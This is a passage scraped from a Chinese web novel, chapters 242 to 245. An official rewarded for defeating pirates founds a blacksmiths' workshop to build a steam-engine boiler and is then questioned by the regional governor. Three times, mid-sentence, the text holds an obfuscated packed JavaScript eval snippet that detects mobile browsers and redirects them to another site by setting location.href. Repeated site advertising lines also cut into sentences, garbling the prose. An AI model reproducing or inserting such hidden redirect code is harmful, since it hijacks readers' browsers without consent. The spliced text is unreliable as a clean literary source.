“着吏部举荐户部给事中崔颖,任温州府同知,协助知府,总理民政!” “着陆明渊暂代镇海提督司之权,节制温州沿海卫所、水师……着台州知府谭伦,即刻启程,以监军之职,协助陆明渊……” “温州总兵邓玉堂,功勋卓著,特授定远将军,升从三品……” 一连串的封赏,如同天降甘霖,砸在温州府官员们的头顶。 陆明渊身着崭新的绯色官袍,跪在最前方,神色平静地接过了那卷沉甸甸的圣旨。 第242章 一项足以改变时代的技术! **罔替。 这四个字,比那三品知府的官印,比那镇海司的代领之权,都要重上千百倍。 它意味着,陆家,从今日起,将成为大乾朝一个新兴的勋贵世家。 这不再是属于他一个人的荣耀,而是整个家族的命运。 这是恩宠,也是一道无法挣脱的枷锁,将他与龙椅上那位帝王,死死地捆绑在了一起。 “臣,陆明渊,叩谢天恩!吾皇万岁万岁万万岁! 他深深叩首,身后的邓玉堂、裴文忠等人亦是山呼万岁,声音中充满了激动与喜悦。 圣旨宣读完毕,陆明渊没有丝毫耽搁,立刻安排了早已准备好的船队。 十余艘大船,满载着从倭寇巢穴中缴获的三百万两白银,在温州卫所精锐水师的护卫下,扬帆起航,浩浩荡荡地驶向京城。 他亲笔写就的奏折,也随船队一同送往京师。 奏折中,他只字未提自己的功劳,通篇都在描绘温州沿海倭患之烈,水师战船之残破。 他恳请陛下恩准,动用缴获的一部分,就地建造新式战船,组建一支真正能远洋作战的温州海军,以彻底肃清海疆,保百姓长久安宁。 这一手,既是向皇帝表明自己的忠心与务实,也是在为镇海司的正式建立,打下最坚实的基础。 圣旨带来的风波还未平息,沈家和陈家的家主便亲自登门,各自将一张五十万两的银票,恭恭敬敬地送到了陆明渊的手中。 这是他们当初的承诺,如今,他们付出的,远比当初想象的要多,但心中却只有庆幸。 他们知道,自己赌对了。 府衙后堂,裴文忠捧着一本厚厚的账册,脸上的笑容几乎要溢出来。 “大人,您看! 他激动地将账册递给陆明渊。 “温州海战一役,缴获的那些丝绸、瓷器、香料等货物,已经全部变卖完毕,扣除所有开销,共计得银二百三十万两!这还不算那三百万两的现银! 他喘了口气,继续道。 “更重要的是,如今的温州城,简直是脱胎换骨! “码头上每日来往的商船络绎不绝,货物吞吐量,已经超过了每日四万两白银! “短短一月,温州府在册的人口,激增了十三万有余!这……这简直是前所未有的盛景啊! 裴文忠对着陆明渊,深深一揖,声音中带着由衷的敬佩。 “下官在温州为官十载,从未想过温州能有今日。这一切,皆是大人之功 你的朋友正在书荒,快去帮帮他吧 ! 裴文忠的声音里带着一丝颤抖,那是亲眼见证了奇迹诞生后的激动。 陆明渊的目光从账册上移开,落在裴文忠那张因兴奋而涨红的脸上。 “裴大人言重了。 他缓缓开口,声音清朗而温和,有一种安定人心的力量。 “温州能有今日,是全城军民上下一心之功,是邓将军他们浴血奋战之功,也是你这样兢兢业业的干吏宵衣旰食之功。 “我,不过是恰逢其会,顺水推舟罢了。 他顿了顿,话锋一转,那份温和中便带上了一丝不容置疑的锐利。 “账面上的银子固然喜人,但比银子更重要的,是人。 “那多出来的十三万人口,才是我们温州府真正的根基,必须要把他们安顿好。 “让他们在这里有屋住,有田耕,有工做,让他们把温州当成自己的家。 裴文忠心中一凛,立刻躬身道。 “大人放心!下官片刻不敢或忘。按照大人的吩咐,从倭寇巢穴中解救出的那三千余名女子,已经有了妥善安置。 他从袖中取出另一本薄薄的册子,条理分明地汇报起来。 “其中五百六十三人,家乡尚在,亲人可寻,府衙已经发放了盘缠,派人护送她们返乡。 “剩下的两千五百余人,皆是孤苦无依,愿意留在温州。下官已经将城东三十里外的牛邙山划了出来。 “那里土地虽不算肥沃,但胜在开阔,且有溪流穿行。 “如今已开辟出三个村落,名为‘安业’、‘乐业’、‘兴业’,先行安置了一千五百人。 “剩下的一千人,新的村舍也正在加紧建造。 “另外,大人吩咐寻找的纺织巧匠,下官已从江宁府高价请来了三位老师傅,不日便可开班授课,教导她们纺织之术。 陆明渊静静地听着,脸上露出了由衷的赞许之色。 裴文忠此人,或许没有经天纬地之才,但胜在踏实肯干,心思缜密,交代下去的事情,总能办得妥妥帖帖。 这样的人,正是他眼下最需要的。 “辛苦了。 陆明渊站起身,亲手为裴文忠续上茶水,这个简单的动作让裴文忠受宠若惊,连忙欠身。 “裴大人, 陆明渊将茶杯递给他,目光灼灼, “你我相识不久,但你这段时日的所作所为,我都看在眼里,记在心里。 “温州府的摊子铺得越大,需要 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 你这样的能吏挑起的大梁就越重。” “这‘漕海一体’的开篇之功,他日青史之上,必有你裴文忠浓墨重彩的一笔。” 这番话,比那五百万两白银还要让裴文忠心神激荡。 他听懂了陆明渊的弦外之音。 这不是上官对下属的普通勉励,而是一种真正的认可! 他裴文忠,在温州这滩死水里蹉跎了十年,熬白了鬓角,磨平了棱角,本以为此生仕途也就到头了。 却不曾想,在年近半百之际,竟能遇到陆明渊这样的贵人! “大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777333|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人……” 裴文忠眼眶一热,声音都有些哽咽。 他没有说什么效忠的空话,只是将手中的茶杯一饮而尽,然后重重地将茶杯放在桌上。 他对着陆明渊,行了一个前所未有的大礼。 “下官,万死不辞!” 从今天起,他裴文忠,就是陆明渊的人! 陆明渊坦然受了他这一拜,扶起他道:“自家人,不必如此。” 他又道:“传我的话,此次温州海战,府衙上下,所有衙役差人,皆有功劳。着户房支取银两,每人赏半年俸禄,以作嘉奖。” 裴文忠闻言,更是神情激动,心中对陆明渊的钦佩又深了一层。 这位年轻的上官,手段老辣,恩威并施。 既有许诺未来的千金之诺,又有眼前实实在在的封赏。 赏罚如此分明,何愁人心不服? “下官……这就去办!” 裴文忠激动地应道。 送走了裴文忠,陆明渊独自在书房中**片刻,脑海中飞速盘算着接下来的布局。 崔颖、谭伦、……京城落下的每一颗棋子,都带着嘉靖那双洞悉人心的眼睛,在冷冷地注视着他。 他现在要做的,就是在这张巨大的棋盘上,尽快拥有真正属于自己的力量。 就在此时,一名衙役快步走到书房门口,恭声禀报。 “大人,您之前让小的们张贴告示,招聘能工巧匠的神匠楼,有消息了!” “城外来了几个铁匠师傅,说是看了告示,想来应聘。” 陆明渊闻言,眼中精光一闪,霍然起身。 “人在何处?” “就在神匠楼外候着。” “备马!带路!” 陆明渊没有丝毫犹豫,“我亲自去看看!” 对他而言,那三百万两白银,那**罔替的爵位,都比不上几个真正有本事的工匠来得重要。 银子总有花完的一天,爵位也可能因为帝王的一念而烟消云散。 唯有掌握在自己手中的技术,才是能开创一个时代的真正利器。 想要将漕海一体彻底推行,陆明渊需要完成一项足以改变时代的技术! 蒸汽机! 这也是陆明渊组建神匠楼的根本原因! 城西十里,神匠楼。 这里本是温州府最大的一家冶炼厂。 后来因为经营不善,加上倭寇袭扰,早已倒闭多年,只剩下一片破败的厂房和几座锈迹斑斑的冶炼炉。 陆明渊拿下汪家后,便将这片占地足有三亩的厂区买了下来,取名“神匠楼”,作为他未来的技术研发基地。 当陆明渊带着一队衙役赶到时,只见空旷的厂区门口,正站着七八个汉子。 他们个个身材魁梧,膀大腰圆,身上穿着粗布短打,脸上和手上满是烟火熏燎的痕迹。 ………… 第243章 为大乾,砸出一个朗朗乾坤! 空气中弥漫着一股铁锈、煤灰与冷汗混合的独特气味。 他们站在那片废弃的厂房前眼神里混杂着一丝戒备、一丝希冀还有一丝久经风霜后的麻木。 为首的是一个年约四十的汉子虬须如钢针他的双臂异常粗壮肌肉盘结。 看到陆明渊这一身绯色官袍气度不凡地走来汉子们下意识地退后了几步。 为首的汉子上前一步抱拳躬身。 “草民杜铁山宁波府人氏见过大人。” “杜师傅。” 陆明渊微微颔首声音清淡。 “告示都看明白了?” “看明白了。” 杜铁山抬起头那双如余烬般的眸子直视着陆明渊 “大人招揽能工巧匠草民不才家里三代打铁自信还有几分薄艺。只是草民有一事不明想当面问问大人。” “但说无妨。” 杜铁山深吸一口气像是鼓起了毕生的勇气一字一句地问道。 “大人您……是真心要清缴倭寇还是一时兴起?” 这话问得极为大胆甚至有些冒犯。 跟在陆明渊身后的衙役脸色一变手已经按在了刀柄上。 陆明渊却摆了摆手示意他们退下。 他饶有兴致地看着杜铁山问道:“为何有此一问?” 杜铁山眼中闪过一丝悲愤与决绝声音陡然拔高了几分。 “不瞒大人!草民祖上三代在宁波府的家业宁波府最大的铁匠铺‘杜家老店’就是被倭寇一把火烧光的!” “我爹我叔我两个兄弟都死在了倭寇的刀下!” “我带着几个徒弟侥幸逃到温州这几年给富户打打农具给商行修修门栓苟延残喘人不人鬼不鬼!” 他指着身后的几个汉子眼眶泛红。 “他们也都是家破人亡与倭寇有血海深仇!” “我们听闻大人在温州城外一场海战斩了江川新四郎杀得倭寇人头滚滚血流成海!草民心里头就燃起了一把火!” “我们这些年见过的官太多了。有的官嘴上喊着剿倭背地里却跟他们勾勾搭搭。” “有的官剿倭就是为了捞军功杀几个小喽啰报上去就是大捷。我们信不过!” “草民今天斗胆来就是想赌一把!” 杜铁山猛地一捶胸口发出“砰”的一声闷响。 “赌大人您是真心要 你的朋友正在书荒,快去帮帮他吧 将这帮天杀的畜生赶尽杀绝!若是,我杜铁山这条命,这身打铁的本事,就卖给大人了! “别说工钱,便是这几年不赚钱,白给大人打造兵器,只要能多杀一个倭寇,为我爹我兄弟报仇,草民也心甘情愿! 一番话,掷地有声,字字泣血。 陆明渊静静地听完,心中微动。 他要的,从来不只是听话的工匠,更是有着同样信念的同行者。 这股发自内心的仇恨,正是最原始、也最强大的驱动力。 “你的仇,我帮你报。 陆明渊的声音不大,却清晰地传入每一个人耳中。 “温州海战只是一个开始。我陆明渊在此立誓,只要我一日在浙江,便要让‘倭寇’二字,彻底从这片土地上消失。 他没有说什么华丽的辞藻,只是陈述一个事实。 但这份平静之下的决绝,却比任何激昂的口号都更能安抚人心。 杜铁山定定地看了陆明渊半晌,那双燃烧的眸子渐渐沉静下来,他猛地单膝跪地。 “草民杜铁山,愿为大人效死! “愿为大人效死! 身后的七八个汉子也齐刷刷地跪了下来。 “起来吧。 陆明渊虚扶一把。 “我这里不兴这个。本事,才是你们的立身之本。口说无凭,让我看看你们的手艺。 他指着厂房里那座最大的冶炼炉,和旁边堆积如山的铁料,说道。 “我要一把横刀。用你们最好的法子,锻一把出来。一个时辰,够不够? 杜铁山站起身,脸上恢复了匠人特有的自信。 “大人,半个时辰足矣!只是这炉子久未使用,生火需要些时间。 “无妨。 陆明渊一挥手,“开始吧。 一声令下,这片死寂的厂区仿佛瞬间活了过来。 杜铁山如同变了一个人。 “老三,生火!风箱拉足! “老五,捡最好的铁料过来! “二狗,把水槽灌满! 命令简短而有力,汉子们各司其职,动作娴熟无比。 很快,破旧的冶炼炉中重新喷吐出熊熊烈焰,将整个厂房映照得一片橘红。 风箱发出沉闷如牛吼的嘶鸣,火星四溅,热浪扑面。 杜铁山赤着上身,露出古铜色、疤痕交错的肌肉。 他手持长长的铁钳,从炉火中夹出一块烧得通红的铁胚,稳稳地放在铁 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 砧之上。 “起!” 他一声爆喝,早已等候在侧的两名壮汉抡起八磅重锤,一左一右,带着呼啸的风声,交替砸下! “铛!铛!铛!铛!” 富有节奏的锤击声,如同战场上的鼓点,密集而激昂。 淬火、回火、反复折叠锻打……一套流程行云流水,充满了原始而野性的美感。 陆明渊站在不远处,静静地看着。 不到一个时辰,一把带着原始粗粝气息的横刀雏形便已完成。 刀身笔直,线条流畅,虽然尚未开锋,也未经精细打磨,但那股森然的铁意已经扑面而来。 杜铁山用铁钳夹着尚有余温的刀柄,走到陆明渊面前,双手奉上。 “大人,仓促之间,只能锻出此等粗胚,请大人检验。” 一名衙役立刻上前,抽出自己腰间的佩刀。 那是府衙统一配发的制式腰刀,虽不算宝刀,却也是千锤百炼的利器。 陆明渊接过杜铁山锻造的横刀,入手极沉,重心恰到好处。 他掂了掂,没有多言,对着衙役佩刀的刀身,猛地挥臂劈下! “锵!” 一声刺耳的金铁交鸣! 在众人惊愕的目光中,那柄制式佩刀的刀身上,竟出现了一个清晰的豁口! 而陆明渊手中的横刀粗胚,刃口处却连一丝卷曲都未曾出现,只有一道淡淡的白痕。 高下立判! “好!好手艺!” 陆明渊眼中爆发出真正的精光。 这说明杜铁山他们掌握的,是远超这个时代普通水平的锻造技艺,很可能懂得炒钢或者灌钢之法! 杜铁山等人脸上也露出了自豪的神色。 对于一个匠人而言,作品就是他们最好的名片。 陆明渊将横刀还给衙役,从袖中取出了一卷早已备好的图纸,在众人面前缓缓展开。 那是一张用炭笔精心绘制的图样,上面画着一个奇特的、由许多曲面和管道组成的金属罐子,结构复杂,造型古怪,是他们从未见过的东西。 这,正是陆明渊凭借后世记忆,简化再简化的蒸汽机外壳模型。 他隐去了所有核心的活塞、汽缸、连杆结构,只画出了一个需要精密铸造和焊接的锅炉外壳。 “这是……” 杜铁山等人凑上来看,一个个面面相觑,满头雾水。 这东西非刀非甲,非农具非器皿,简直闻所未闻。 “我不知道它叫什 听说看这本书的人都是很幸运的,分享后你的运气会更棒 么,我只知道,我需要你们把它造出来。 陆明渊指着图纸上几个关键的连接处和弧面。 “它需要一体成型,或者用你们最好的法子,将不同的部件天衣无缝地连接起来,不能有任何缝隙,要能承受极高的温度和内部压力。 “这…… 杜铁山眉头紧锁,研究着图纸,脸上的神情从困惑,到凝重,再到一丝被激起的挑战欲。 “大人,这东西……怕是不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777334|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做。有些地方的弧度,寻常模具根本翻不出来,怕是要重新制模。 “而且要做到天衣无缝,对焊接的要求太高了。 “我不要听困难。 陆明渊打断他,“我只问,能不能做?多久能给我一个看得见的成果? 杜铁山与其他几个老师傅低声商议了片刻,时而争论,时而用手指在地上比画。 最终,他抬起头,眼中闪烁着兴奋与狂热的光芒,那是一个顶尖匠人遇到前所未有挑战时的神采。 “大人!给我们二十天! “二十天之内,我们一定给您一个说法!就算做不出成品,我们也能拿出具体的方案和模具雏形! “很好。 陆明渊满意地点了点头,他要的就是这股劲。 他朗声宣布。 “从今天起,你们就是我神匠楼的第一批工匠。 “凡入我神匠楼者,无论师徒,每人每月,支取三两纹银俸禄! “这笔钱,由温州府衙按月发放,你们无需再为家眷生计担忧! 三两银子! 此言一出,杜铁山等人都懵了。 一个寻常壮劳力,一年到头辛苦下来,能挣个七八两银子便是好年景。 而如今,一个月就是三两,一年便是三十六两! 这等待遇,便是给宫里当差的御用工匠,也不过如此了! “大人……这……这太多了…… 杜铁山结结巴巴地说道。 “不多。 陆明渊摆手道, “我的要求只有一个:你们所有的心血,都要花在这神匠楼里。 “所有锻造所需的铁料、煤炭、物料,皆由府衙无限量供应。 “你们要做的,就是不断改进你们的技艺,研发出我想要的东西! 他顿了顿,目光扫过众人,声音里带着一股蛊惑人心的力量。 “这个铁疙瘩,只是开始。我还要你们改良军中的重**,让它的射程更远,威力 听说看这本书的人都是很幸运的,分享后你的运气会更棒 更大,能洞穿倭寇的板甲!” “我还要你们造出更多、更好、更强的兵器!” “只要你有手艺,有想法,神匠楼的大门就永远为你们敞开!待遇,只高不低!” 画大饼,更要给实惠。 “我等,愿为大人肝脑涂地!” 杜铁山再次跪下,这一次,是心悦诚服,是感激涕零。 陆明渊扶起他,沉声道。 “这座庄园,从今日起,更名为‘千机院’。你们,就是千机院的第一批匠师。” “我会调派温州总兵麾下的精锐士兵,日夜在此驻守,保护你们和这里的安全。” “你们的家人,我也会着人妥善安置。” “你们要做的,就是心无旁骛,用你们的锤子,为大乾,为温州,砸出一个朗朗乾坤!” “千机院……” 杜铁山喃喃自语,眼中神光湛然。 处理完千机院的诸般事宜,将这颗关乎未来的重要棋子落下,陆明渊心中的一块大石也落了地。 他带着满身的炭火气息,返回温州府衙。 刚一踏入后堂,裴文忠便面色凝重地迎了上来。 与早上的激动兴奋不同,此刻他的脸上带着一丝挥之不去的忧虑。 “大人。” “何事?” 陆明渊脱下官袍,自有丫鬟接过。 裴文忠递上一份盖着火漆印的公文,低声道。 “杭州总督府的急脚递,刚到。是……**督的传信。” 陆明渊接过公文的手微微一顿,目光落在那“浙直总督关防”的朱红大印上,眼神骤然变得深邃起来。 胡宗宪! 这个名字,在大乾东南,便是一座绕不开的高山。 他撕开火漆,展开信笺。上面的字迹苍劲有力,内容却极为简单。 “着温州府同知陆明渊,即刻启程,前往杭州府,面呈温州海战及清缴海寇一应事宜。” 第244章 陆明渊,你已经犯了官场大忌? 胡宗宪。 这个名字在大乾东南沿海,便是一座无法绕行的高山。 有人说他是严党鹰犬,靠着严嵩的提携才平步青云。 也有人说他是国之柱石,东南的百姓能有今日的喘息之机,全赖此人。 毁誉参半,却无人能否认他的能力与权势。 温州府衙的后堂,灯火通明。 裴文忠看着陆明渊平静的面容,心中的忧虑却如钱塘江的潮水般,一浪高过一浪。 “大人,此去杭州,怕是……一场鸿门宴。 裴文忠压低了声音,言语中满是担忧。 “您在温州城外的惊天一战,固然是大功一件,可这功劳,却也烫手得很。 “未曾上报,便擅开战端,此乃兵家大忌,更是官场大忌啊! 陆明渊将那封信笺轻轻折好,放入袖中,动作不疾不徐。 他抬眼看向裴文忠,微笑道。 “你觉得,若是按部就班,将所有计划呈报总督府,再等总督府批复下来,江川新四郎的船,还会停在瓯江口等我吗? 裴文忠顿时语塞。 他当然知道,战机稍纵即逝。 官场的流程走上一遍,黄花菜都凉了。 可道理是道理,规矩是规矩。 不守规矩的人,往往没有好下场。 “千机院那边,我已经安排妥当。 陆明渊没有在这个问题上继续深入,他转而交代起政务。 “杜铁山那些人,是未来的根基,他们的安家之事,你要亲自督办,务必让他们没有后顾之忧。 “我拨给他们的银两,一分一毫都不能少。 “另外,我走之后,温州城防务必抓紧,倭寇虽遭重创,但百足之虫死而不僵,切不可掉以轻心。 “余下的百姓要安抚,不得疏忽,被毁坏的村庄和百姓家产,由府衙出钱安置! 他一条条,一件件,将诸般事宜安排得井井有条。 裴文忠看着眼前这位比自己年轻太多的上官。 那份泰山崩于前而色不变的气度,让他心中稍安,却也生出几分敬畏。 “大人放心,下官一定将温州府打理妥当,静候大人佳音。 裴文忠躬身一揖到底。 陆明渊点了点头,转身走向门外。 夜色已深,庭院中的桂花树在晚风中沙沙作响。 他吩咐下去,此行轻车简从,只带二十名亲卫。 第二日清晨,天色 听说看这本书的人都是很幸运的,分享后你的运气会更棒 微明陆明渊便带着人马踏上了前往杭州的官道。 没有鸣锣开道没有仪仗随行只有二十余骑迅速消失在温州城的轮廓之外。 从温州至杭州五日路程。 一路行来江南的景致如一幅缓缓展开的水墨画卷。 阡陌交通鸡犬相闻小桥流水粉墙黛瓦。 若非偶尔能在村镇的墙上看到官府张贴的剿倭告示以及路人眼中那一抹挥之不去的警惕与惊惶。 几乎让人以为这里是太平盛世。 陆明渊策马缓行心中却并不平静。 他知道这片看似温婉富庶的土地之下早已是暗流汹涌 三大世家与倭寇勾结将整个浙江的海贸变成了他们的私产。 官场之上严党与清流的争斗犬牙交错无数人将剿倭当成了晋身的阶梯与党同伐异的工具。 胡宗宪正是在这样一盘错综复杂的棋局上勉力维持着东南的危局。 而自己带着一身后世的记忆与见识如一颗天外飞石悍然砸入了这盘棋局之中。 温州海战便是他投下的第一颗棋子。 这颗棋子是奇兵还是败招便要看杭州城里那位主棋手的态度了。 五日后杭州城遥遥在望。 不同于温州的肃杀杭州作为东南首府依旧保持着一种繁华到骨子里的气度。 西湖的烟柳如织钱塘的帆影如林街市上人流摩肩接踵商铺里琳琅满目。 陆明渊没有在城中停留径直来到位于城中心的总督府衙。 那是一座气势恢宏的建筑群门前两尊巨大的石狮子在日光的照耀下显得威严而冷漠。 高高的门楣上悬挂着“浙直总督府”的巨大匾额黑底金字透着一股生杀予夺的权力气息。 递上名帖与公文一名身着青衣的衙役将他引入府中穿过几重庭院来到一处僻静的书房外。 “陆知府总督大人正在处理公务请您在此稍候。” 衙役躬身说道随后便悄然退下。 陆明渊点了点头便在廊下的椅子上**下来。 这一等便是一个时辰。 从日头正中到渐渐西斜阳光将廊柱的影子拉得越来越长。 陆明渊始终安坐神色没有丝毫变化。 终于书房的门开了。 一名身着绯袍的中年官员走了出来他看到了陆明渊目光在他年轻的脸上停留了片刻随 你的朋友正在书荒,快去帮帮他吧 即快步离去。 片刻后书房里传来一个略带沙哑却中气十足的声音。 “让他进来吧。” 陆明渊整理了一下衣冠迈步走入书房。 书房极大四壁皆是顶天立地的书架上面塞满了浩如烟海的经史子集与各式卷宗。 正中的一张巨大书案上堆满了小山似的公文。 一张巨大的浙江沿海堪舆图挂在最显眼的墙壁上上面用朱笔和墨笔标记着密密麻麻的符号。 有的是卫所有的是岛屿有的是已知的倭寇巢穴。 书案之后站着一个身穿常服的中年人。 他约莫五十上下身材并不高大甚至有些清瘦面容清癯留着一部打理得一丝不苟的胡须。 他的眼神却锐利如鹰仿佛能洞穿人心。 那是一种久居上位执掌生杀大权后才能沉淀下来的眼神。 虽然衣着朴素但站在那里便如渊渟岳峙自有一股不动如山的气势。 这便是胡宗宪。 与陆明渊记忆中前世那部名为《大明王朝1566》的电视剧里那位殚精竭虑、在夹缝中求存的“胡部堂”几乎一模一样。 这是一个真正的儒将一个将家国天下扛在自己肩上的封疆大吏。 在胡宗宪的身上陆明渊甚至看到了一丝恩师林瀚文的影子。 那种文人风骨与铁血手段的融合那种为国为民的执着。 “下官温州知府陆明渊参见总督大人。” 陆明渊上前一步躬身长揖行了一个标准的大礼。 胡宗宪坦然受了他这一礼目光在他身上缓缓扫过。 “冠文伯甲辰科状元郎陛下亲赞‘文冠大乾’。本督在杭州也久闻你的大名了。” 胡宗宪的声音很平淡 他摆了摆手对侍立在旁的幕僚道。 “你们都出去吧没有我的吩咐任何人不得靠近书房。” “是。” 幕僚们鱼贯而出并轻轻带上了房门。 偌大的书房内只剩下陆明渊与胡宗宪二人。气氛瞬间变得凝重起来。 “坐。” 胡宗宪指了指书案前的一张椅子。 “谢大人。” 陆明渊依言坐下身姿笔挺。 他从袖中取出一份早已准备好的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777335|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书双手奉上。 “大人此乃下官筹谋温州海战的全部经过、战果以及战利品处置方案 听说看这本书的人都是很幸运的,分享后你的运气会更棒 请大人过目。” 胡宗宪没有立刻去接,他的目光依旧停留在陆明渊的脸上。 片刻之后,他才伸出手,接过了那份厚厚的文书。 书房里一时间只剩下纸张翻动的沙沙声。 胡宗宪看得极为仔细,每一个字都没有放过。 他的表情始终平静如水。 但陆明渊能感觉到,他握着纸张的手指,在看到斩获数目和缴获清单时,几不可查地收紧了一下。 一炷香的时间,仿佛一个世纪那么漫长。 终于,胡宗宪将文书的最后一页翻过,轻轻放在了桌上。 他端起手边的茶盏,却没有喝,只是用杯盖轻轻地撇着浮沫,发出清脆的细响。 “铛。” 杯盖与杯身轻轻一碰。 胡宗宪抬起眼帘,那双锐利的眸子终于再次直视陆明渊。 “陆明渊,你可知,你已经犯了官场大忌?” 来了。 陆明渊心中一凛,但脸上却未动声色。 他知道,真正的考验,从这一刻才算开始。 他没有丝毫的慌乱,脑中电光石火般闪过无数念头,瞬间便明白了胡宗宪所指。 “逾距”。 不请示,不报备,擅自调动卫所官兵,发动一场规模如此之大的海战。 这在任何一个上位者眼中,都是绝对无法容忍的挑衅。 这已经不是胆大包天,而是目无上官,是视朝廷法度如无物。 若是换了旁人,此刻怕是早已冷汗涔涔,跪地请罪了。 陆明渊却缓缓地从椅子上站了起来,再次对着胡宗宪,深深一揖。 “下官知罪。” 他没有辩解,没有找任何借口,干脆利落地承认了。 胡宗宪的眉梢微微一挑,似乎对他的反应有些意外。 然而,陆明渊接下来的话,更是让他始料未及。 “下官之罪,有二。” 陆明渊的声音清晰而沉稳,在空旷的书房中回荡。 “其一,诚如大人所言,下官未得上峰允准,擅开战端,此为‘逾距’之罪。” “其二,”他顿了顿,抬起头,目光坦然地迎上胡宗宪的审视。 “下官未经总督府批核,便擅自处置海战一应缴获,同样违反官场规矩,此为‘擅专’之罪。” 他不仅承认了胡宗宪指出的罪名,甚至还主动供出了另一条同样不小的罪过。 这一下,胡宗宪是真的愣住了。 他见过无数的官员,有阿谀奉承的,有桀骜不驯的,有百般抵赖的,也有痛哭流涕求饶的。 但像陆明渊这样。 被点出罪名后,不辩解,反而主动把自己的另一桩“罪行”也摆到台面上的,他还是第一次见。 胡宗宪眼中的审视,渐渐被一丝浓厚的兴趣所取代。 他将手中的茶盏彻底放下,身子微微前倾,原本如山岳般沉稳的气势,多了一丝鲜活的探究意味。 他看着这个年仅弱冠的状元郎,这个一战成名的温州同知,嘴角勾起一抹意味难明的弧度。 “有意思。” 胡宗宪缓缓开口,声音里带着一丝玩味。 “既然能自省,那便说明,你清楚地知道自己所做的一切,都是错的。” 他停顿了一下,目光如刀。 “陆明渊,本官要问你!” “你为何,知错,还要犯错?” 第245章 你对陛下,足够忠心 陆明渊没有立刻回答。 他的目光从胡宗宪的脸上移开,落在了那幅巨大的浙江沿海堪舆图上。 那上面,朱笔的圈点触目惊心,墨笔的标注密如蛛网。 每一笔,都代表着一场厮杀,一次筹谋,一分殚精竭虑。 那是胡宗宪的心血,也是东南的伤疤。 他仿佛能看到,胡宗宪无数个不眠之夜,就是站在这幅图前,扛起这片风雨飘摇的江山。 良久,陆明渊收回目光,重新望向胡宗宪。 眼中的情绪已经从最初的戒备,化为一种深沉的理解与共鸣。 他再次躬身行礼,这是对于一位朝堂柱石的尊敬。 “回禀大人。” 他的声音沉稳,却带着一丝不易察觉的沙哑。 “下官之所以知错犯错,非为一己之私,也非狂悖无知。” “只因,如今的温州府,已是沉疴遍体,病入膏肓。若用寻常温补之药,不过是苟延残喘,终将无救。” “唯有行霹雳手段,下虎狼之药,方有一线生机。” 他直起身,目光清澈如洗,坦然无畏。 “大人明鉴,下官抵达温州,不过一月。” “一月之内,仅凭下官与锦衣卫之力,便查出与倭寇暗通款曲,走私资敌的官、吏、士、商,有名有姓者,凡三十七人。” 这个数字仿佛一道惊雷,在胡宗宪的脑海中炸响。 他脸上的平静终于出现了一丝裂痕,双眉不自觉地蹙起。 一个月,三十七人! 这还只是一个十二岁的少年,在人生地不熟的温州,初步查探的结果! 陆明渊没有停顿,继续说道。 “这三十七人,还仅仅是冰山一角。” “舟山汪家覆灭之后,锦衣卫奉旨彻查,顺藤摸瓜,已然发现,浙江三大世家,其根系早已与倭寇盘根错节,深入骨髓。” “他们将整个浙江的海疆,视作自家的后院鱼塘,予取予求。” “官府的政令,朝廷的法度,在他们眼中,不过是一纸空文。” 他的声音不高,但字字句句,都重如千钧,敲打在胡宗宪的心上。 “大人试想,若下官按部就班,将作战计划层层上报,等待批复。” “这公文还没走出温州府,怕是就已经摆在了倭寇头目的案头。” “下官要调动的卫所兵马,还没集结,就会有无数的掣肘与‘意外’发生。” “届时,非但不能克敌,反而 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 会打草惊蛇,令我东南沿海,再遭重创。 “积弊如此,盘根错节,若不行逾矩之事,只会被这些盘踞在温州的蛀虫啃噬得一干二净。 “下官所为,实乃‘便宜之时,行便宜之事’。 “万般无奈,还望总督大人……体谅! 最后四个字,他说的极慢,也极重。 整个书房,再次陷入了死一般的寂静。 胡宗宪靠在椅背上,闭上了眼睛,手指无意识地在书案上轻轻敲击着。 他没有发怒,也没有呵斥。 他只是在消化,在思考。 陆明渊所说的这一切,他何尝不知? 甚至,他知道的远比陆明渊更多,更深。 他与这片土地上的黑暗,已经缠斗了太多年。 许久之后,那敲击声停了。 胡宗宪睁开眼,眼中的锐利已经褪去,取而代之的,是一种复杂难明的感慨,甚至……是一丝欣赏。 “呵呵…… 一声轻笑,从他略显干涩的喉咙里发出,打破了凝固的空气。 “呵呵……好一个‘便宜之时,行便宜之事’。 胡宗宪点了点头,那是一种发自内心的认可。 “陛下将你这颗棋子放到浙江,放到温州,果然是一步惊天妙棋啊。 他看着陆明渊,目光中带着一丝探究。 